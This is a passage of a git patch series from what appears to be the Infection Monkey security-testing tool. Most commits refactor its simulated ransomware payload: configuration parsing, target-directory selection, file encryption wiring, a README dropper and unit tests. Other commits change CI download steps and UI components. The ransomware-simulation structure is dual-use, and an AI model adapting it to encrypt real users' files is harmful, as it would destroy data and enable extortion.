    + + ); - function getNavLinkClass() { - if(disabled){ - return `nav-link disabled` - } else { - return '' - } + function getNavLinkClass() { + if(disabled){ + return `nav-link disabled` + } else { + return '' } + } } export default SideNavComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx b/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx index 342b09d0be2..bff4565f31b 100644 --- a/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx +++ b/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx @@ -9,14 +9,24 @@ export class CompletedSteps { public constructor(runServer?: boolean, runMonkey?: boolean, infectinDone?: boolean, - reportDone?: boolean, - isLoggedIn?: boolean, - needsRegistration?: boolean) { + reportDone?: boolean) { this.runServer = runServer || false; this.runMonkey = runMonkey || false; this.infectionDone = infectinDone || false; this.reportDone = reportDone || false; - this.isLoggedIn = isLoggedIn || false; - this.needsRegistration = needsRegistration || false; } + + static buildFromResponse(response: CompletedStepsRequest) { + return new CompletedSteps(response.run_server, + response.run_monkey, + response.infection_done, + response.report_done); + } +} + +type CompletedStepsRequest = { + run_server: boolean, + run_monkey: boolean, + infection_done: boolean, + report_done: boolean } From 6f5a7faaa194b1eb0ed1f3c7e07dea885b35b2b0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Jul 2021 10:05:34 -0400 Subject: [PATCH 1157/1360] Agent: Add RannsomwareConfig class --- .../ransomware/ransomware_config.py | 25 +++++++ .../ransomware/test_ransomware_config.py | 73 +++++++++++++++++++ 2 files changed, 98 insertions(+) create mode 100644 monkey/infection_monkey/ransomware/ransomware_config.py create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py diff --git a/monkey/infection_monkey/ransomware/ransomware_config.py b/monkey/infection_monkey/ransomware/ransomware_config.py new file mode 100644 index 00000000000..26805c47c8d --- /dev/null +++ b/monkey/infection_monkey/ransomware/ransomware_config.py @@ -0,0 +1,25 @@ +import logging + +from common.utils.file_utils import InvalidPath, expand_path +from infection_monkey.utils.environment import is_windows_os + +LOG = logging.getLogger(__name__) + + +class RansomwareConfig: + def __init__(self, config: dict): + self.encryption_enabled = config["encryption"]["enabled"] + self.readme_enabled = config["other_behaviors"]["readme"] + self._set_target_directory(config["encryption"]["directories"]) + + def _set_target_directory(self, os_target_directories: dict): + if is_windows_os(): + target_directory = os_target_directories["windows_target_dir"] + else: + target_directory = os_target_directories["linux_target_dir"] + + try: + self.target_directory = expand_path(target_directory) + except InvalidPath as e: + LOG.debug(f"Target ransomware directory set to None: {e}") + self.target_directory = None diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py new file mode 100644 index 00000000000..141186f1824 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py @@ -0,0 +1,73 @@ +from pathlib import Path + +import pytest +from tests.utils import raise_ + +from common.utils.file_utils import InvalidPath +from infection_monkey.ransomware import ransomware_config +from infection_monkey.ransomware.ransomware_config import RansomwareConfig + +LINUX_DIR = "/tmp/test" +WINDOWS_DIR = "C:\\tmp\\test" + + +@pytest.fixture +def config_from_island(): + return { + "encryption": { + "enabled": None, + "directories": { + "linux_target_dir": LINUX_DIR, + "windows_target_dir": WINDOWS_DIR, + }, + }, + "other_behaviors": {"readme": None}, + } + + +@pytest.mark.parametrize("enabled", [True, False]) +def test_encryption_enabled(enabled, config_from_island): + config_from_island["encryption"]["enabled"] = enabled + config = RansomwareConfig(config_from_island) + + assert config.encryption_enabled == enabled + + +@pytest.mark.parametrize("enabled", [True, False]) +def test_readme_enabled(enabled, config_from_island): + config_from_island["other_behaviors"]["readme"] = enabled + config = RansomwareConfig(config_from_island) + + assert config.readme_enabled == enabled + + +def test_linux_target_dir(monkeypatch, config_from_island): + monkeypatch.setattr(ransomware_config, "is_windows_os", lambda: False) + + config = RansomwareConfig(config_from_island) + assert config.target_directory == Path(LINUX_DIR) + + +def test_windows_target_dir(monkeypatch, config_from_island): + monkeypatch.setattr(ransomware_config, "is_windows_os", lambda: True) + + config = RansomwareConfig(config_from_island) + assert config.target_directory == Path(WINDOWS_DIR) + + +def test_env_variables_in_target_dir_resolved(config_from_island, patched_home_env, tmp_path): + path_with_env_variable = "$HOME/ransomware_target" + + config_from_island["encryption"]["directories"]["linux_target_dir"] = config_from_island[ + "encryption" + ]["directories"]["windows_target_dir"] = path_with_env_variable + + config = RansomwareConfig(config_from_island) + assert config.target_directory == patched_home_env / "ransomware_target" + + +def test_target_dir_is_none(monkeypatch, config_from_island): + monkeypatch.setattr(ransomware_config, "expand_path", lambda _: raise_(InvalidPath("invalid"))) + + config = RansomwareConfig(config_from_island) + assert config.target_directory is None From 9044c587a67b87fe71ca1aa7af7441078c7925a4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Jul 2021 11:26:02 -0400 Subject: [PATCH 1158/1360] Agent: Pass a RansomwareConfig to RansomwarePayload Rather than RansomwarePayload being responsible fro translating the config dictionary into something usable, it now just accepts a RansomwareConfig object which contains pre-processed configuration options. --- .../ransomware/ransomware_payload.py | 41 +++------ .../ransomware/ransomware_payload_builder.py | 19 +++- .../ransomware/test_ransomware_payload.py | 86 ++++++++----------- 3 files changed, 62 insertions(+), 84 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 32530b28745..27cd6dca10f 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,12 +1,10 @@ import logging from pathlib import Path -from pprint import pformat from typing import Callable, List -from common.utils.file_utils import InvalidPath, expand_path +from infection_monkey.ransomware.ransomware_config import RansomwareConfig from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger -from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) @@ -17,57 +15,38 @@ class RansomwarePayload: def __init__( self, - config: dict, + config: RansomwareConfig, encrypt_file: Callable[[Path], None], select_files: Callable[[Path], List[Path]], leave_readme: Callable[[Path, Path], None], telemetry_messenger: ITelemetryMessenger, ): - LOG.debug(f"Ransomware payload configuration:\n{pformat(config)}") - - self._encryption_enabled = config["encryption"]["enabled"] - self._readme_enabled = config["other_behaviors"]["readme"] - - self._target_dir = RansomwarePayload.get_target_dir(config) + self._config = config self._encrypt_file = encrypt_file self._select_files = select_files self._leave_readme = leave_readme self._telemetry_messenger = telemetry_messenger - @staticmethod - def get_target_dir(config: dict): - target_directories = config["encryption"]["directories"] - if is_windows_os(): - target_dir_field = target_directories["windows_target_dir"] - else: - target_dir_field = target_directories["linux_target_dir"] - - try: - return expand_path(target_dir_field) - except InvalidPath as e: - LOG.debug(f"Target ransomware dir set to None: {e}") - return None - def run_payload(self): - if not self._target_dir: + if not self._config.target_directory: return LOG.info("Running ransomware payload") - if self._encryption_enabled: + if self._config.encryption_enabled: file_list = self._find_files() self._encrypt_files(file_list) - if self._readme_enabled: - self._leave_readme(README_SRC, self._target_dir / README_DEST) + if self._config.readme_enabled: + self._leave_readme(README_SRC, self._config.target_directory / README_DEST) def _find_files(self) -> List[Path]: - LOG.info(f"Collecting files in {self._target_dir}") - return sorted(self._select_files(self._target_dir)) + LOG.info(f"Collecting files in {self._config.target_directory}") + return sorted(self._select_files(self._config.target_directory)) def _encrypt_files(self, file_list: List[Path]): - LOG.info(f"Encrypting files in {self._target_dir}") + LOG.info(f"Encrypting files in {self._config.target_directory}") for filepath in file_list: try: diff --git a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py index 28770668de6..4b13b408238 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py @@ -1,6 +1,10 @@ -from infection_monkey.ransomware import readme_utils +import logging +from pprint import pformat + +from infection_monkey.ransomware import ransomware_payload, readme_utils from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor +from infection_monkey.ransomware.ransomware_config import RansomwareConfig from infection_monkey.ransomware.ransomware_payload import RansomwarePayload from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS from infection_monkey.telemetry.messengers.batching_telemetry_messenger import ( @@ -14,14 +18,23 @@ EXTENSION = ".m0nk3y" CHUNK_SIZE = 4096 * 24 +LOG = logging.getLogger(__name__) + def build_ransomware_payload(config: dict): + LOG.debug(f"Ransomware payload configuration:\n{pformat(config)}") + ransomware_config = RansomwareConfig(config) + file_encryptor = _build_file_encryptor() file_selector = _build_file_selector() telemetry_messenger = _build_telemetry_messenger() return RansomwarePayload( - config, file_encryptor, file_selector, readme_utils.leave_readme, telemetry_messenger + ransomware_config, + file_encryptor, + file_selector, + readme_utils.leave_readme, + telemetry_messenger, ) @@ -33,7 +46,7 @@ def _build_file_encryptor(): def _build_file_selector(): targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy() - targeted_file_extensions.discard(EXTENSION) + targeted_file_extensions.discard(ransomware_payload.EXTENSION) return ProductionSafeTargetFileSelector(targeted_file_extensions) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index ca52bef5ced..118ba8a27ef 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -7,6 +7,7 @@ TEST_KEYBOARD_TXT, ) +from infection_monkey.ransomware.ransomware_config import RansomwareConfig from infection_monkey.ransomware.ransomware_payload import ( README_DEST, README_SRC, @@ -14,20 +15,6 @@ ) -@pytest.fixture -def ransomware_payload_config(ransomware_target): - return { - "encryption": { - "enabled": True, - "directories": { - "linux_target_dir": str(ransomware_target), - "windows_target_dir": str(ransomware_target), - }, - }, - "other_behaviors": {"readme": False}, - } - - @pytest.fixture def ransomware_payload(build_ransomware_payload, ransomware_payload_config): return build_ransomware_payload(ransomware_payload_config) @@ -50,15 +37,26 @@ def inner(config): @pytest.fixture -def mock_file_encryptor(ransomware_target): +def ransomware_payload_config(ransomware_test_data): + class RansomwareConfigStub(RansomwareConfig): + def __init__(self, encryption_enabled, readme_enabled, target_directory): + self.encryption_enabled = encryption_enabled + self.readme_enabled = readme_enabled + self.target_directory = target_directory + + return RansomwareConfigStub(True, False, ransomware_test_data) + + +@pytest.fixture +def mock_file_encryptor(): return MagicMock() @pytest.fixture -def mock_file_selector(ransomware_target): +def mock_file_selector(ransomware_test_data): selected_files = [ - ransomware_target / ALL_ZEROS_PDF, - ransomware_target / TEST_KEYBOARD_TXT, + ransomware_test_data / ALL_ZEROS_PDF, + ransomware_test_data / TEST_KEYBOARD_TXT, ] return MagicMock(return_value=selected_files) @@ -68,37 +66,29 @@ def mock_leave_readme(): return MagicMock() -def test_env_variables_in_target_dir_resolved_linux( +def test_files_selected_from_target_dir( + ransomware_payload, ransomware_payload_config, - build_ransomware_payload, - ransomware_target, - patched_home_env, mock_file_selector, ): - path_with_env_variable = "$HOME/ransomware_target" - - ransomware_payload_config["encryption"]["directories"][ - "linux_target_dir" - ] = ransomware_payload_config["encryption"]["directories"][ - "windows_target_dir" - ] = path_with_env_variable - build_ransomware_payload(ransomware_payload_config).run_payload() - - mock_file_selector.assert_called_with(ransomware_target) + ransomware_payload.run_payload() + mock_file_selector.assert_called_with(ransomware_payload_config.target_directory) -def test_all_selected_files_encrypted(ransomware_target, ransomware_payload, mock_file_encryptor): +def test_all_selected_files_encrypted( + ransomware_test_data, ransomware_payload, mock_file_encryptor +): ransomware_payload.run_payload() assert mock_file_encryptor.call_count == 2 - mock_file_encryptor.assert_any_call(ransomware_target / ALL_ZEROS_PDF) - mock_file_encryptor.assert_any_call(ransomware_target / TEST_KEYBOARD_TXT) + mock_file_encryptor.assert_any_call(ransomware_test_data / ALL_ZEROS_PDF) + mock_file_encryptor.assert_any_call(ransomware_test_data / TEST_KEYBOARD_TXT) def test_encryption_skipped_if_configured_false( - build_ransomware_payload, ransomware_payload_config, ransomware_target, mock_file_encryptor + build_ransomware_payload, ransomware_payload_config, mock_file_encryptor ): - ransomware_payload_config["encryption"]["enabled"] = False + ransomware_payload_config.encryption_enabled = False ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() @@ -109,9 +99,8 @@ def test_encryption_skipped_if_configured_false( def test_encryption_skipped_if_no_directory( build_ransomware_payload, ransomware_payload_config, mock_file_encryptor ): - ransomware_payload_config["encryption"]["enabled"] = True - ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" - ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" + ransomware_payload_config.encryption_enabled = True + ransomware_payload_config.target_directory = None ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() @@ -158,10 +147,8 @@ def test_telemetry_failure( assert "No such file or directory" in telem.get_data()["files"][0]["error"] -def test_readme_false( - build_ransomware_payload, ransomware_payload_config, mock_leave_readme, ransomware_target -): - ransomware_payload_config["other_behaviors"]["readme"] = False +def test_readme_false(build_ransomware_payload, ransomware_payload_config, mock_leave_readme): + ransomware_payload_config.readme_enabled = False ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() @@ -169,21 +156,20 @@ def test_readme_false( def test_readme_true( - build_ransomware_payload, ransomware_payload_config, mock_leave_readme, ransomware_target + build_ransomware_payload, ransomware_payload_config, mock_leave_readme, ransomware_test_data ): - ransomware_payload_config["other_behaviors"]["readme"] = True + ransomware_payload_config.readme_enabled = True ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() - mock_leave_readme.assert_called_with(README_SRC, ransomware_target / README_DEST) + mock_leave_readme.assert_called_with(README_SRC, ransomware_test_data / README_DEST) def test_no_readme_if_no_directory( build_ransomware_payload, ransomware_payload_config, mock_leave_readme ): - ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" - ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" - ransomware_payload_config["other_behaviors"]["readme"] = True + ransomware_payload_config.target_directory = None + ransomware_payload_config.readme_enabled = True ransomware_payload = build_ransomware_payload(ransomware_payload_config) From 8ae41907ba2261866cdbecd69ee2b982b7b4493d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Jul 2021 11:29:54 -0400 Subject: [PATCH 1159/1360] Tests: Remove accidental print() from test_file_selectors --- .../infection_monkey/ransomware/test_file_selectors.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py index 56421be3e8c..fd948983795 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py @@ -23,7 +23,6 @@ def file_selector(): def test_select_targeted_files_only(ransomware_test_data, file_selector): selected_files = file_selector(ransomware_test_data) - print(ransomware_test_data) assert len(selected_files) == 2 assert (ransomware_test_data / ALL_ZEROS_PDF) in selected_files From 7966703f63b4f6b9c5b7021a826ec84b4cfc3b95 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Jul 2021 11:35:05 -0400 Subject: [PATCH 1160/1360] Agent: Rename readme_utils to readme_dropper --- .../ransomware/ransomware_payload_builder.py | 9 +++++++-- .../ransomware/{readme_utils.py => readme_dropper.py} | 0 .../{test_readme_utils.py => test_readme_dropper.py} | 2 +- 3 files changed, 8 insertions(+), 3 deletions(-) rename monkey/infection_monkey/ransomware/{readme_utils.py => readme_dropper.py} (100%) rename monkey/tests/unit_tests/infection_monkey/ransomware/{test_readme_utils.py => test_readme_dropper.py} (91%) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py index 4b13b408238..187f1e41218 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py @@ -1,7 +1,7 @@ import logging from pprint import pformat -from infection_monkey.ransomware import ransomware_payload, readme_utils +from infection_monkey.ransomware import ransomware_payload, readme_dropper from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor from infection_monkey.ransomware.ransomware_config import RansomwareConfig @@ -27,13 +27,14 @@ def build_ransomware_payload(config: dict): file_encryptor = _build_file_encryptor() file_selector = _build_file_selector() + leave_readme = _build_leave_readme() telemetry_messenger = _build_telemetry_messenger() return RansomwarePayload( ransomware_config, file_encryptor, file_selector, - readme_utils.leave_readme, + leave_readme, telemetry_messenger, ) @@ -51,6 +52,10 @@ def _build_file_selector(): return ProductionSafeTargetFileSelector(targeted_file_extensions) +def _build_leave_readme(): + return readme_dropper.leave_readme + + def _build_telemetry_messenger(): telemetry_messenger = LegacyTelemetryMessengerAdapter() diff --git a/monkey/infection_monkey/ransomware/readme_utils.py b/monkey/infection_monkey/ransomware/readme_dropper.py similarity index 100% rename from monkey/infection_monkey/ransomware/readme_utils.py rename to monkey/infection_monkey/ransomware/readme_dropper.py diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_utils.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py similarity index 91% rename from monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_utils.py rename to monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py index a1edf8424d1..17d0d953cd4 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py @@ -1,7 +1,7 @@ import pytest from tests.utils import hash_file -from infection_monkey.ransomware.readme_utils import leave_readme +from infection_monkey.ransomware.readme_dropper import leave_readme DEST_FILE = "README.TXT" README_HASH = "c98c24b677eff44860afea6f493bbaec5bb1c4cbb209c6fc2bbb47f66ff2ad31" From 4be442f814870e6c91594131e47e2ee259c1282b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Jul 2021 11:45:58 -0400 Subject: [PATCH 1161/1360] Agent: Fix import error --- .../infection_monkey/ransomware/ransomware_payload_builder.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py index 187f1e41218..8d7e2b129d5 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py @@ -1,7 +1,7 @@ import logging from pprint import pformat -from infection_monkey.ransomware import ransomware_payload, readme_dropper +from infection_monkey.ransomware import readme_dropper from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor from infection_monkey.ransomware.ransomware_config import RansomwareConfig @@ -47,7 +47,7 @@ def _build_file_encryptor(): def _build_file_selector(): targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy() - targeted_file_extensions.discard(ransomware_payload.EXTENSION) + targeted_file_extensions.discard(EXTENSION) return ProductionSafeTargetFileSelector(targeted_file_extensions) From feda0718cc8acda0578809a728530dfadc6cd98e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Jul 2021 11:52:17 -0400 Subject: [PATCH 1162/1360] Agent: Set default self.target_directory to None --- monkey/infection_monkey/ransomware/ransomware_config.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/ransomware/ransomware_config.py b/monkey/infection_monkey/ransomware/ransomware_config.py index 26805c47c8d..e1b1cb2c43c 100644 --- a/monkey/infection_monkey/ransomware/ransomware_config.py +++ b/monkey/infection_monkey/ransomware/ransomware_config.py @@ -10,6 +10,8 @@ class RansomwareConfig: def __init__(self, config: dict): self.encryption_enabled = config["encryption"]["enabled"] self.readme_enabled = config["other_behaviors"]["readme"] + + self.target_directory = None self._set_target_directory(config["encryption"]["directories"]) def _set_target_directory(self, os_target_directories: dict): From 23c298a5f11194580a280f4d2789bb337a2c2c0e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Jul 2021 12:00:57 -0400 Subject: [PATCH 1163/1360] Travis: Use hugo version 0.85.0, and not "latest" from GitHub API GitHub only allows so many API calls per hour. If this is exceeded, the travis ci build will fail. --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index b54e7d2cf0d..e1b54ca9665 100644 --- a/.travis.yml +++ b/.travis.yml @@ -44,7 +44,7 @@ install: - npm --version # hugo (for documentation) -- curl --output - -L https://api.github.com/repos/gohugoio/hugo/releases/latest | grep --color=never "browser_download_url.*Linux-64bit.tar.gz" | grep -v extended | cut -d ':' -f2,3 | tr -d '"' | xargs -n 1 curl -L --output hugo.tar.gz +- curl -L https://github.com/gohugoio/hugo/releases/download/v0.85.0/hugo_0.85.0_Linux-64bit.tar.gz --output hugo.tar.gz # print hugo version (useful for debugging documentation build errors) - tar -zxf hugo.tar.gz - ./hugo version From b1fe8506248c6a4f2069786efce350a47984ec95 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Jul 2021 12:02:34 -0400 Subject: [PATCH 1164/1360] Travis: Use swimm version 0.5.0, and not "latest" from GitHub API GitHub only allows so many API calls per hour. If this is exceeded, the travis ci build will fail. --- .travis.yml | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index e1b54ca9665..7085077dcb8 100644 --- a/.travis.yml +++ b/.travis.yml @@ -80,8 +80,7 @@ script: # verify swimm - cd $TRAVIS_BUILD_DIR -- curl -s https://api.github.com/repos/swimmio/SwimmReleases/releases/latest | grep 'browser_download_url.*swimm-cli' | cut -d '"' -f 4 | wget -O swimm_cli -qi - -- chmod +x swimm_cli +- curl -L https://github.com/swimmio/SwimmReleases/releases/download/v0.5.0-0/swimm-cli.js --output swimm_cli - node swimm_cli --version - node swimm_cli verify From 8ee3ab4317ede019b6b3d5880e1899c5f42b70cd Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 15 Jul 2021 18:15:15 +0200 Subject: [PATCH 1165/1360] UI: Fix submit config when nothing is changed on Ransomware and Network Tabs --- .../cc/services/config_schema/basic_network.py | 2 +- .../cc/services/config_schema/ransomware.py | 9 ++++----- .../components/configuration-components/TextBox.js | 14 ++++++++++++++ .../configuration-components/UiSchema.js | 4 ++++ .../cc/ui/src/components/pages/ConfigurePage.js | 2 +- 5 files changed, 24 insertions(+), 7 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/configuration-components/TextBox.js diff --git a/monkey/monkey_island/cc/services/config_schema/basic_network.py b/monkey/monkey_island/cc/services/config_schema/basic_network.py index e1dd95c1795..02f87c7cf45 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic_network.py +++ b/monkey/monkey_island/cc/services/config_schema/basic_network.py @@ -11,7 +11,7 @@ "properties": { "info_box": { "title": "", - "type": "object", + "type": "text", "info": 'The Monkey scans its subnet if "Local network scan" is checked. ' 'Additionally, the Monkey scans machines according to "Scan ' 'target list".', diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 03c5e843860..7ec3d793f91 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -24,7 +24,7 @@ }, "info_box": { "title": "", - "type": "object", + "type": "text", "info": "No files will be encrypted if a directory is not specified or doesn't " "exist on a victim machine.", }, @@ -52,11 +52,10 @@ }, }, }, - "readme_note": { + "text_box": { "title": "", - "type": "object", - "description": "Note: A README.txt will be left in the specified target " - "directory.", + "type": "text", + "text": "Note: A README.txt will be left in the specified target " "directory.", }, }, }, diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/TextBox.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/TextBox.js new file mode 100644 index 00000000000..f32803195c9 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/TextBox.js @@ -0,0 +1,14 @@ +import * as React from 'react'; + +class TextBox extends React.Component { + + render() { + return ( + <> +

    {this.props.schema.text}

    + + ); + } +} + +export default TextBox; diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index 5d12114078e..38e7ad24447 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -2,6 +2,7 @@ import AdvancedMultiSelect from '../ui-components/AdvancedMultiSelect'; import PbaInput from './PbaInput'; import {API_PBA_LINUX, API_PBA_WINDOWS} from '../pages/ConfigurePage'; import InfoBox from './InfoBox'; +import TextBox from './TextBox'; export default function UiSchema(props) { const UiSchema = { @@ -79,6 +80,9 @@ export default function UiSchema(props) { directories: { // Directory inputs are dynamically hidden }, + text_box: { + 'ui:field': TextBox + }, enabled: {'ui:widget': 'hidden'} }, other_behaviors : {'ui:widget': 'hidden'} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index c7c84e327d9..321974b0cc3 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -58,7 +58,7 @@ class ConfigurePageComponent extends AuthComponent { } getSectionsOrder() { - let islandMode = this.props.islandMode ? this.props.islandMode : 'advanced' + let islandMode = 'advanced' return CONFIGURATION_TABS_PER_MODE[islandMode]; } From 63f885e3db7849ac29d518771e5441f8321d48a2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 16 Jul 2021 08:52:49 +0300 Subject: [PATCH 1166/1360] Island UI: merge StandardLayoutComponent.js and DisabledSidebarLayoutComponent.tsx into one component to remove duplication --- .../cc/ui/src/components/Main.tsx | 32 +++++++++---------- .../DisabledSidebarLayoutComponent.tsx | 15 --------- .../layouts/SidebarLayoutComponent.tsx | 22 +++++++++++++ .../layouts/StandardLayoutComponent.js | 15 --------- 4 files changed, 38 insertions(+), 46 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/components/layouts/DisabledSidebarLayoutComponent.tsx create mode 100644 monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx delete mode 100644 monkey/monkey_island/cc/ui/src/components/layouts/StandardLayoutComponent.js diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index ae9a46534b0..a8d78cdc9dc 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -23,9 +23,8 @@ import 'react-data-components/css/table-twbs.css'; import 'styles/App.css'; import 'react-toggle/style.css'; import 'react-table/react-table.css'; -import {StandardLayoutComponent} from './layouts/StandardLayoutComponent'; import LoadingScreen from './ui-components/LoadingScreen'; -import {DisabledSidebarLayoutComponent} from "./layouts/DisabledSidebarLayoutComponent"; +import SidebarLayoutComponent from "./layouts/SidebarLayoutComponent"; import {CompletedSteps} from "./side-menu/CompletedSteps"; import Timeout = NodeJS.Timeout; import IslandHttpClient from "./IslandHttpClient"; @@ -179,52 +178,53 @@ class AppComponent extends AuthComponent { ()}/> ()}/> {this.renderRoute(Routes.LandingPage, - )} + )} {this.renderRoute(Routes.GettingStartedPage, - , true)} {this.renderRoute('/configure', - )} {this.renderRoute('/run-monkey', - )} {this.renderRoute('/infection/map', - )} {this.renderRoute('/infection/telemetry', - )} {this.renderRoute('/start-over', - )} {this.redirectTo('/report', '/report/security')} {this.renderRoute('/report/security', - )} {this.renderRoute('/report/attack', - )} {this.renderRoute('/report/zeroTrust', - )} {this.renderRoute('/report/ransomware', - )} {this.renderRoute('/license', - )} diff --git a/monkey/monkey_island/cc/ui/src/components/layouts/DisabledSidebarLayoutComponent.tsx b/monkey/monkey_island/cc/ui/src/components/layouts/DisabledSidebarLayoutComponent.tsx deleted file mode 100644 index cbda442068a..00000000000 --- a/monkey/monkey_island/cc/ui/src/components/layouts/DisabledSidebarLayoutComponent.tsx +++ /dev/null @@ -1,15 +0,0 @@ -import React from 'react'; -import {Route} from 'react-router-dom'; -import SideNavComponent from '../SideNavComponent.tsx'; -import {Col, Row} from 'react-bootstrap'; - -export const DisabledSidebarLayoutComponent = ({component: Component, ...rest}) => ( - ( - - - - - - - )}/> -) diff --git a/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx new file mode 100644 index 00000000000..45e82e60c1c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx @@ -0,0 +1,22 @@ +import React from 'react'; +import {Route} from 'react-router-dom'; +import SideNavComponent from '../SideNavComponent.tsx'; +import {Col, Row} from 'react-bootstrap'; + +const SidebarLayoutComponent = ({component: Component, + sideNavDisabled = false, + completedSteps = null, + ...other + }) => ( + { + return ( + + + + + + ) + }}/> +) + +export default SidebarLayoutComponent; diff --git 